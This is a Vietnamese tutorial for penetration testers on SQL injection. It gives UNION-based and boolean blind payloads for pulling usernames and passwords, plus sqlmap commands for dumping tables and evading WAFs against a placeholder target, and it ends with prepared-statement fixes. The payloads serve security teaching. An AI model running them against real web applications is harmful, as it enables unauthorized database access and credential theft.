SQL Injection (SQLi) vẫn là một trong những lỗ hổng web nguy hiểm nhất theo OWASP Top 10. Bài viết này sẽ đi từ khái niệm cơ bản đến kỹ thuật khai thác nâng cao mà pentester cần nắm.
SQLi là gì?
SQL Injection xảy ra khi ứng dụng web truyền trực tiếp input của người dùng vào câu lệnh SQL mà không sanitize đúng cách. Kẻ tấn công có thể:
- Bypass authentication
- Đọc dữ liệu nhạy cảm từ database
- Modify hoặc xóa dữ liệu
- Trong một số trường hợp: RCE qua
xp_cmdshellhoặcINTO OUTFILE
Phát hiện điểm injection
Bước đầu tiên là tìm các endpoint có thể inject. Thử thêm ký tự đặc biệt vào các tham số:
' " ; -- # /* */ OR AND UNION
Nếu ứng dụng trả về lỗi SQL hoặc thay đổi hành vi, đó là dấu hiệu tốt. Ví dụ với URL:
https://target.com/product?id=1'
# Response: You have an error in your SQL syntax...
Classic UNION-based SQLi
Sau khi xác nhận có lỗ hổng, dùng UNION để lấy dữ liệu từ bảng khác:
# Bước 1: Xác định số cột
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- - <-- lỗi tại đây → có 2 cột
# Bước 2: Tìm cột hiển thị string
' UNION SELECT NULL,NULL-- -
' UNION SELECT 'a',NULL-- -
' UNION SELECT NULL,'a'-- -
# Bước 3: Extract dữ liệu
' UNION SELECT table_name,NULL FROM information_schema.tables-- -
' UNION SELECT column_name,NULL FROM information_schema.columns WHERE table_name='users'-- -
' UNION SELECT username,password FROM users-- -
Blind SQLi — Boolean-based
Khi ứng dụng không hiển thị lỗi, dùng Blind SQLi. Kết quả trả về TRUE/FALSE dựa vào sự thay đổi response:
# Kiểm tra điều kiện đúng/sai
' AND 1=1-- - → trang bình thường (TRUE)
' AND 1=2-- - → trang trống/khác (FALSE)
# Extract từng ký tự của password
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a'-- -
' AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))>100-- -
Tự động hóa với sqlmap
# Basic scan
sqlmap -u "https://target.com/product?id=1" --dbs
# Với cookie session
sqlmap -u "https://target.com/profile" \
--cookie="PHPSESSID=abc123" \
--dbs
# Dump bảng cụ thể
sqlmap -u "https://target.com/product?id=1" \
-D webapp -T users -C username,password \
--dump
# Bypass WAF với tamper scripts
sqlmap -u "https://target.com/product?id=1" \
--tamper=space2comment,between,randomcase \
--level=5 --risk=3
Phòng chống SQLi
Cách duy nhất hiệu quả là dùng Prepared Statements (Parameterized Queries):
# Python + MySQL — ĐÚNG
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))
# PHP — ĐÚNG
$stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?");
$stmt->execute([$id]);
# Node.js + mysql2 — ĐÚNG
connection.execute("SELECT * FROM users WHERE id = ?", [userId]);
Input validation, WAF và principle of least privilege cũng là các lớp phòng thủ bổ sung.